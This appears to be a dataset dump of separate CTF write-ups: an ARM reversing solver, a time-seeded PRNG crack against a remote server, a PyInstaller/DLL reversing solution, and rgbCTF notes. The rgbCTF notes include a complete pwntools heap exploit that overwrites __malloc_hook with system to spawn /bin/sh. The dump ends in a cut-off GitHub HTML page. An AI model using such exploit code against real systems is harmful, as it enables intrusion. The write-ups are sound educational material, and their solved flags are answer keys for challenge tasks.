text_chunk
stringlengths
151
703k
## Description ```More advanced than very very advanced0A, FB, F4, 88, DD, 9D, 7D, 5F, 9E, A3, C6, BA, F5, 95, 5D, 88, 3B, E1, 31, 50, C7, FA, F5, 81, 99, C9, 7C, 23, A1, 91, 87, B5, B1, 95, E4,``` Category: Reversing ## Analysis This is a tiny ARM object, very similar to [Advanced Reversing Mechanics 1](https://github.com/dobsonj/ctf/blob/master/writeups/2020/rgbctf/advanced_reversing_mechanics_1). ```kali@kali:~/Downloads$ ls -l hard.o -rw-r--r-- 1 kali kali 1560 Jul 11 18:59 hard.okali@kali:~/Downloads$ file hard.o hard.o: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), not stripped``` ## Decompile with Ghidra Let's just look at the `encryptFlag()` function: ```cvoid encryptFlag(byte *param_1){ byte *pbVar1; byte *pbVar2; uint uVar3; byte bVar4; uint uVar5; uint uVar6; bVar4 = *param_1; pbVar1 = param_1; if (bVar4 == 0) { return; } while( true ) { uVar5 = (uint)bVar4; uVar3 = uVar5 - 10 & 0xff; uVar6 = uVar5; if ((bVar4 < 0x50) && (uVar6 = uVar3, 0x50 < uVar3)) { uVar6 = uVar5 + 0x46 & 0xff; } uVar6 = (uVar6 - 7 ^ 0x43) & 0xff; pbVar2 = pbVar1 + 1; *pbVar1 = (byte)(uVar6 << 6) | (byte)(uVar6 >> 2); bVar4 = *pbVar2; if (bVar4 == 0) break; uVar6 = (int)(pbVar2 + -(int)param_1) % 5; bVar4 = bVar4 << (-uVar6 & 7) | bVar4 >> (uVar6 & 0xff); if (uVar6 == 2) { bVar4 = bVar4 - 1; } *pbVar2 = bVar4; bVar4 = *pbVar2; pbVar1 = pbVar2; } return;}``` This obviously does a more complex transformation on the input string than just a simple decrement on each character like the last one. Here's the disassembly of the main while loop in `encryptFlag()`: ``` LAB_0001001c XREF[1]: 00010098(j) 0001001c 92 4c c5 e0 smull r4,r5,r2,r12 00010020 c5 30 63 e0 rsb r3,r3,r5, asr #0x1 00010024 03 31 83 e0 add r3,r3,r3, lsl #0x2 00010028 03 30 42 e0 sub r3,r2,r3 0001002c 00 20 63 e2 rsb r2,r3,#0x0 00010030 07 20 02 e2 and r2,r2,#0x7 00010034 1e 22 a0 e1 mov r2,lr, lsl r2 00010038 02 00 53 e3 cmp r3,#0x2 0001003c 3e 33 82 e1 orr r3,r2,lr, lsr r3 00010040 ff 30 03 e2 and r3,r3,#0xff 00010044 01 30 43 02 subeq r3,r3,#0x1 00010048 00 30 c1 e5 strb r3,[r1,#0x0] 0001004c 00 30 d1 e5 ldrb r3,[r1,#0x0] LAB_00010050 XREF[1]: 00010018(j) 00010050 0a 20 43 e2 sub r2,r3,#0xa 00010054 4f 00 53 e3 cmp r3,#0x4f 00010058 ff 20 02 e2 and r2,r2,#0xff 0001005c 03 00 00 8a bhi LAB_00010070 00010060 50 00 52 e3 cmp r2,#0x50 00010064 46 30 83 e2 add r3,r3,#0x46 00010068 02 30 a0 91 cpyls r3,r2 0001006c ff 30 03 82 andhi r3,r3,#0xff LAB_00010070 XREF[1]: 0001005c(j) 00010070 07 30 43 e2 sub r3,r3,#0x7 00010074 43 30 23 e2 eor r3,r3,#0x43 00010078 ff 30 03 e2 and r3,r3,#0xff 0001007c 03 23 a0 e1 mov r2,r3, lsl #0x6 00010080 23 31 82 e1 orr r3,r2,r3, lsr #0x2 00010084 01 30 c1 e4 strb r3,[r1],#0x1 00010088 00 e0 d1 e5 ldrb lr,[r1,#0x0] 0001008c 00 20 41 e0 sub r2,r1,r0 00010090 00 00 5e e3 cmp lr,#0x0 00010094 c2 3f a0 e1 mov r3,r2, asr #0x1f 00010098 df ff ff 1a bne LAB_0001001c 0001009c 30 40 bd e8 ldmia sp!,{ r4 r5 lr }=>local_c 000100a0 1e ff 2f e1 bx lr``` My first thought when I look at this is that it's probably going to be quicker and easier to solve this one character at a time with the extracted `encryptFlag()` function than to try to understand all the details and derive a working `decryptFlag()` function. I did something similar in [Put_your_thang_down](https://github.com/dobsonj/ctf/blob/master/writeups/2020/dawgctf/Put_your_thang_down), so I took the same approach here. ## Solution Write a solver that takes the decompiled `encryptFlag()` function and then calls that in a loop for each printable character to derive the correct input character that transforms to the expected output character. ```c#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <string.h> typedef unsigned char byte; void encryptFlag(byte *param_1){ byte *pbVar1; byte *pbVar2; uint uVar3; byte bVar4; uint uVar5; uint uVar6; bVar4 = *param_1; pbVar1 = param_1; if (bVar4 == 0) { return; } while( 1 ) { uVar5 = (uint)bVar4; uVar3 = uVar5 - 10 & 0xff; uVar6 = uVar5; if ((bVar4 < 0x50) && (uVar6 = uVar3, 0x50 < uVar3)) { uVar6 = uVar5 + 0x46 & 0xff; } uVar6 = (uVar6 - 7 ^ 0x43) & 0xff; pbVar2 = pbVar1 + 1; *pbVar1 = (byte)(uVar6 << 6) | (byte)(uVar6 >> 2); bVar4 = *pbVar2; if (bVar4 == 0) break; uVar6 = (int)(pbVar2 + -(int)param_1) % 5; bVar4 = bVar4 << (-uVar6 & 7) | bVar4 >> (uVar6 & 0xff); if (uVar6 == 2) { bVar4 = bVar4 - 1; } *pbVar2 = bVar4; bVar4 = *pbVar2; pbVar1 = pbVar2; } return;} int main(){ char *printable_chars = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"; int npchars = strlen(printable_chars); byte nums[35] = {0x0A, 0xFB, 0xF4, 0x88, 0xDD, 0x9D, 0x7D, 0x5F, 0x9E, 0xA3, 0xC6, 0xBA, 0xF5, 0x95, 0x5D, 0x88, 0x3B, 0xE1, 0x31, 0x50, 0xC7, 0xFA, 0xF5, 0x81, 0x99, 0xC9, 0x7C, 0x23, 0xA1, 0x91, 0x87, 0xB5, 0xB1, 0x95, 0xE4}; byte flag[36] = {'r', 'g', 'b', 'C', 'T', 'F', '{', 0}; for (int cur = 0; cur < sizeof(flag); cur++) { for (int x = 0; x < npchars; x++) { char ch = printable_chars[x]; byte arr[36] = {0}; strcpy(arr,flag); arr[cur] = ch; encryptFlag(arr); if (nums[cur] == arr[cur]) { flag[cur] = ch; printf("%s\n",flag); break; } } } printf("\n");}``` Run it and we quickly get our flag: ```kali@kali:~/Downloads$ gcc -Wno-pointer-to-int-cast -o adv_rev_mech2 adv_rev_mech2.c && time ./adv_rev_mech2rgbCTF{rgbCTF{rgbCTF{rgbCTF{rgbCTF{rgbCTF{rgbCTF{rgbCTF{ArgbCTF{ARrgbCTF{ARMrgbCTF{ARM_rgbCTF{ARM_argbCTF{ARM_arrgbCTF{ARM_ar1rgbCTF{ARM_ar1trgbCTF{ARM_ar1thrgbCTF{ARM_ar1thmrgbCTF{ARM_ar1thm3rgbCTF{ARM_ar1thm3trgbCTF{ARM_ar1thm3t1rgbCTF{ARM_ar1thm3t1crgbCTF{ARM_ar1thm3t1c_rgbCTF{ARM_ar1thm3t1c_rrgbCTF{ARM_ar1thm3t1c_r0rgbCTF{ARM_ar1thm3t1c_r0crgbCTF{ARM_ar1thm3t1c_r0ckrgbCTF{ARM_ar1thm3t1c_r0cksrgbCTF{ARM_ar1thm3t1c_r0cks_rgbCTF{ARM_ar1thm3t1c_r0cks_frgbCTF{ARM_ar1thm3t1c_r0cks_fargbCTF{ARM_ar1thm3t1c_r0cks_fadrgbCTF{ARM_ar1thm3t1c_r0cks_fad9rgbCTF{ARM_ar1thm3t1c_r0cks_fad96rgbCTF{ARM_ar1thm3t1c_r0cks_fad961rgbCTF{ARM_ar1thm3t1c_r0cks_fad961} real 0m0.003suser 0m0.003ssys 0m0.000s``` Now this worked just fine and solved it in milliseconds, but immediately after this I realized angr.io would have been a nice way to solve this without having to recompile any code. That solution would probably be quicker to write but take longer to run. In any case, the flag is: ```rgbCTF{ARM_ar1thm3t1c_r0cks_fad961}```
## Description ``` But clearly not tested enough... can you get the flag? nc 167.172.123.213 12345``` Category: Cryptography ## Analysis First let's look at `otp.py`: ```pythonfrom random import seed, randint as wfrom time import time j = intu = j.to_bytess = 73t = 479105856333166071017569_ = 1952540788s = 7696249o = 6648417m = 29113321535923570e = 199504783476_ = 7827278r = 435778514803a = 6645876n = 157708668092092650711139d = 2191175o = 2191175m = 7956567_ = 6648417m = 7696249e = 465675318387s = 4568741745925383538s = 2191175a = 1936287828g = 1953393000e = 29545 g = b"rgbCTF{REDACTED}" if __name__ == "__main__": seed(int(time())) print(f"Here's 10 numbers for you: ") for _ in range(10): print(w(5, 10000)) b = bytearray([w(0, 255) for _ in range(40)]) n = int.from_bytes(bytearray([l ^ p for l, p in zip(g, b)]), 'little') print("Here's another number I found: ", n)``` That creates a seed based on the current time, prints out 10 "random" numbers using that seed, then generates 40 more "random" numbers and uses them to xor the flag stored in `g`, and prints that out as a giant int. ```kali@kali:~/Downloads$ python3 otp.py Here's 10 numbers for you: 2112893826799362219120033016923538332887Here's another number I found: 183833425864737726945931152645483328541``` ## Solution `time()` returns the number of seconds since the epoch, which means we can measure `time()` locally before and after invoking `otp.py` and have a relatively small range of seeds to try. We'll know when we found the right seed because the 10 "random" numbers will match the values from `otp.py`. ```python#!/usr/bin/python3from pwn import *from time import timefrom random import seed, randint context.log_level='DEBUG'start = int(time())#p = process(['/usr/bin/python3', './otp.py'])p = remote('167.172.123.213', 12345)p.recvline() # Here's 10 numbers for you:nums = []for i in range(10): line = p.recvline().rstrip() nums.append(int(line)) p.recvuntil("Here's another number I found: ")another_num = int(p.recvline().rstrip())p.stream()end = int(time()) print("start=%u end=%u" % (start, end))print(nums)print(another_num) s = startwhile s <= end: seed(s) found = True for i in range(10): r = randint(5, 10000) if r != nums[i]: found = False if found: print("FOUND SEED: %u" % s) break s += 1 g = another_num.to_bytes(40, 'little')b = bytearray([randint(0, 255) for _ in range(40)])n = bytearray([l ^ p for l, p in zip(g, b)]), 'little'print(n)``` I tested this locally first, and then just had to run it against the remote server to get the flag: ```kali@kali:~/Downloads$ ./otp_solve.py[+] Opening connection to 167.172.123.213 on port 12345: Done[DEBUG] Received 0xb1 bytes: b"Here's 10 numbers for you: \n" b'6370\n' b'578\n' b'948\n' b'4674\n' b'4804\n' b'6605\n' b'2529\n' b'4644\n' b'3823\n' b'4330\n' b"Here's another number I found: 14967871060053757142096566772157693944463496219343006011424058102584\n"start=1594497862 end=1594497882[6370, 578, 948, 4674, 4804, 6605, 2529, 4644, 3823, 4330]14967871060053757142096566772157693944463496219343006011424058102584FOUND SEED: 1594497882(bytearray(b'rgbCTF{random_is_not_secure}\xfeF\xa9Q/O\x93/\xe2\x8d^\xf5'), 'little')``` The flag is: ```rgbCTF{random_is_not_secure}```
็จ‹ๅบๆ˜ฏpythonๅ†™็š„๏ผŒ่ฟ™ไธ€็‚นๅฏไปฅไปŽIDAๆ‰“ๅผ€ๅŽ<kbd>shift</kbd>+<kbd>f12</kbd>ๆ‰“ๅผ€Strings Window็œ‹ๅ‡บๆฅ๏ผŒๅ„็ง`py`ๅผ€ๅคด็š„ๅญ—็ฌฆไธฒ้ๅœฐ่ตฐใ€‚็ป†ๅฟƒไธ€็‚นๅฏไปฅ็กฎ่ฎค่ฟ™ๆ˜ฏpyinstallerๆ‰“ๅŒ…่€Œไธๆ˜ฏpy2exeใ€‚ ๅ…ˆไฝฟ็”จ[pyinstxtractor](https://github.com/extremecoders-re/pyinstxtractor)่งฃๅผ€๏ผŒ่ฟ˜ๅŽŸPythonไปฃ็ ใ€‚ๅ‘ฝไปค๏ผš`python pyinstxtractor.py signin.exe` ็›ฎๅฝ•`\signin.exe_extracted`ไธ‹๏ผŒไฝฟ็”จuncompyle6่Žทๅพ—`main.pyc`ๆบ็ ใ€‚๏ผˆๅ€ผๅพ—ๆณจๆ„็š„ๆ˜ฏ๏ผŒpyinstxtractor่งฃๅผ€็š„ๆ—ถๅ€™ๆœ‰ๆ˜พ็คบๆ˜ฏ**python38**๏ผๅฆ‚ๆžœๅœจpython37็Žฏๅขƒไธ‹ไฝฟ็”จuncompyle6ๅˆ™ๅฏ่ƒฝไธ่ƒฝๅพ—ๅˆฐๅฎŒๆ•ด็š„ไปฃ็ ใ€‚ ๆ นๆฎmain.py่‡ช่กŒๅ็ผ–่ฏ‘้œ€่ฆ็š„pycๆ–‡ไปถใ€‚ๅฏไปฅ็œ‹ๅ‡บ็จ‹ๅบๆ˜ฏPyQt5ๅ†™ๅพ—๏ผŒ**็จ‹ๅบๅฏๅŠจๆ—ถ้‡Šๆ”พไบ†ไธ€ไธชDLL**๏ผŒ้€€ๅ‡บๆ—ถๅˆ ้™คใ€‚ๆ‰€ไปฅๅฏไปฅ่ฟ่กŒๆ—ถๆŠŠtmp.dllๅคๅˆถๅ‡บๅŽปๅˆ†ๆžใ€‚ ๅฏไปฅ็œ‹ๅˆฐ๏ผˆ็œ‹ไธ‹้ขไปฃ็ ๆณจ้‡Š๏ผ‰๏ผš```python# main.py# ....class AccountChecker: def __init__(self): self.dllname = './tmp.dll' self.dll = self._AccountChecker__release_dll() self.enc = self.dll.enc # ่ฟ™้‡Œๅทฒ็ป่กจๆ˜Ž่ฐƒ็”จdllไธญ็š„ enc ๅ‡ฝๆ•ฐ๏ผŒ # ๅ‡ฝๆ•ฐๅๅ‚ๆ•ฐ็ฑปๅž‹ๅ’Œ่ฟ”ๅ›žๅ€ผ้ƒฝไฝ“็Žฐๅ‡บๆฅไบ†๏ผŒๅˆ†ๆždllๅฐฑๆ–นไพฟๅพˆๅคšไบ† self.enc.argtypes = (c_char_p, c_char_p, c_char_p, c_int) self.enc.restype = c_int self.accounts = {b'SCTFer': b64decode(b'PLHCu+fujfZmMOMLGHCyWWOq5H5HDN2R5nHnlV30Q0EA')} self.try_times = 0# ....``` ๆ•ดไฝ“้€ป่พ‘ๅฐฑๆ˜ฏ่ฐƒ็”จdllๅฏน็”จๆˆทๅๅ’Œๅฏ†็ ่ฟ›่กŒๅŠ ๅฏ†๏ผŒ่ฟ”ๅ›žpython้ƒจๅˆ†่ฟ›่กŒๆ ก้ชŒใ€‚dll้‡Œ้ขenc็š„้€ป่พ‘ๆฏ”่พƒ็ฎ€ๅ•๏ผŒๅ‚ๆ•ฐๅˆ†ๅˆซๆ˜ฏ```username, password, safe_password_recv, buffersize```ๆœ‰้œ€่ฆ็š„่ฏๅฏไปฅไฝฟ็”จ็ฑปไผผไธ‹้ข็š„ไปฃ็ ่ฟ›่กŒๅฏนdll็š„่ฐƒ่ฏ•```c#include <stdio.h>#include <Windows.h> int main() { HMODULE module = LoadLibraryA(".\\enc.dll"); if (module == NULL) { printf("failed to load"); return 1; } typedef int(*EncFun)(char*, char*, char*, int); EncFun enc; enc = (EncFun)GetProcAddress(module, "enc"); char username[20] = "SCTFer" }; char pwd[33] = { "SCTF{test_flag}" }; char recv[33] = { 0 }; printf("%d",enc(username, pwd, recv, 32)); return 0;}``` ๅŠ ๅฏ†้€ป่พ‘ไธๆ˜ฏๅพˆๅคๆ‚๏ผŒ่ฟ™้‡Œไธๅ†่ต˜่ฟฐ๏ผŒๆณจๆ„ๅญ—่Š‚ๅบๅฐฑๅฅฝ๏ผŒ่งฃ้ข˜่„šๆœฌๅฆ‚ไธ‹๏ผš```pythonfrom base64 import *import struct def u_qword(a): return struct.unpack('<Q', a)[0] def p_qword(a): return struct.pack('<Q', a) username = list(b'SCTFer')enc_pwd = list(b64decode(b'PLHCu+fujfZmMOMLGHCyWWOq5H5HDN2R5nHnlV30Q0EA'))[:-1] # remove the last '\0'for i in range(32): enc_pwd[i] ^= username[i % len(username)] qwords = []for i in range(4): qwords.append(u_qword(bytes(enc_pwd[i*8: i*8 + 8]))) for i in range(4): qword = qwords[i] for _ in range(64): if qword & 1 == 1: # ๅฆ‚ๆžœๆœ€ไฝŽไฝๆ˜ฏ1๏ผŒ่ฏดๆ˜ŽๅŠ ๅฏ†ๆ—ถๅทฆ็งปๅŽ๏ผŒ # ๅ’Œ12682219522899977907่ฟ›่กŒไบ†ๅผ‚ๆˆ– qword ^= 12682219522899977907 qword >>= 1 qword |= 0x8000000000000000 continue else: qword >>= 1 # print(qword) qwords[i] = qword pwd = []for i in range(4): pwd.append(p_qword(qwords[i]).decode()) flag = ''.join(pwd)print(flag)```ๅพ—ๅˆฐflag `SCTF{We1c0m3_To_Sctf_2020_re_!!}`
# rgbCTF 2020 Lots of guess, but redpwn still won. ## Countdown Web.The ending date is in a signed cookie w/ Flask. On the site there is a `Time is key.`, so you guess that `Time` is the secret key and sign a modified cookie (with the end date as some date that already passed). ## Keen Eye Web.The site uses a package called `poppers.js`, not the actual `popper.js`. The flag is inside the javascript source code on npm. ## Soda Pop Bop Good heap chall, cheesed w/ tcache (I got the idea from studysim). Full security checks are in place. - HOF by setting party size to 0- Write to tcache freelist to read some libc pointers in .bss- Write to another tcache freelist to write address of system to __malloc_hook- Allocate chunk, with the size being the pointer to the string `/bin/sh` ```pythonfrom pwn import *import ctypes e = ELF("./spb")libc = ELF("./libc.so.6") p = remote("challenge.rgbsec.xyz", 6969)#p = process("./spb", env={"LD_PRELOAD":libc.path}) #context.log_level="debug"#gdb.attach(p, """pie break * main+500""") def choose(length, title="AAAA"): p.sendlineafter(">", "1") p.sendlineafter(">", str(length)) p.sendlineafter(">", title) print("chose") def drink(idx, drink): p.sendlineafter(">", "2") p.sendlineafter(">", str(idx)) p.sendlineafter(">", str(drink)) print("got drink") def sing(): p.sendlineafter(">", "3") print("sang") p.sendlineafter(">", "0")p.sendlineafter(">", "") sing() leak = p.recvline() pie_base = int(leak.split()[2][2:], 16) - 0xf08print("pie_base", hex(pie_base)) choose(0x10) sing() leak = p.recvline() heap_base = int(leak.split()[2][2:], 16) - 0x280print("heap address", hex(heap_base)) top_chunk = 0x2a0+heap_base p.sendlineafter(">", "1")p.sendlineafter(">", str(ctypes.c_ulong(heap_base-top_chunk+0x60 - 24).value)) print("read from", pie_base + 0x202020, hex(pie_base + 0x202020)) p.recvline()p.recvline() choose("8", p64(pie_base + 0x202040)) p.recvuntil(">") choose(8, "")choose(8, "") sing() leak = p.recvline() libc.address = int(leak.split()[2][2:], 16) - 0x3ec680print("libc address", hex(libc.address)) print("malloc hook", hex(libc.sym["__malloc_hook"])) print("system addr", hex(libc.sym["system"])) binsh = next(libc.search("/bin/sh")) print("binsh", hex(binsh)) choose(0x69, "\x00"*0x10 + p64(libc.sym["__malloc_hook"]))choose(0x69, p64(libc.sym["system"])) p.sendlineafter(">", "1")p.sendlineafter(">", str(binsh)) p.interactive()``` Unfortunately I didn't know how to HOF at the time so Rob did it.
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-solutions/rgbCTF/misc/creative-algo at master ยท BigB00st/ctf-solutions ยท GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="A93A:87C6:1D282401:1E085729:64121EA1" data-pjax-transient="true"/><meta name="html-safe-nonce" content="f9fb64dcb1260a53b39d883ce87c3c94b63778972fa768efc4a6819e65e0569d" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBOTNBOjg3QzY6MUQyODI0MDE6MUUwODU3Mjk6NjQxMjFFQTEiLCJ2aXNpdG9yX2lkIjoiOTM4MTYwMjYwODc4ODM1MzYxIiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="d466f6869e381ecd179909e3cfbbc8b33bfa815bc4eef8837e910ce1e235152e" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:252509468" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" 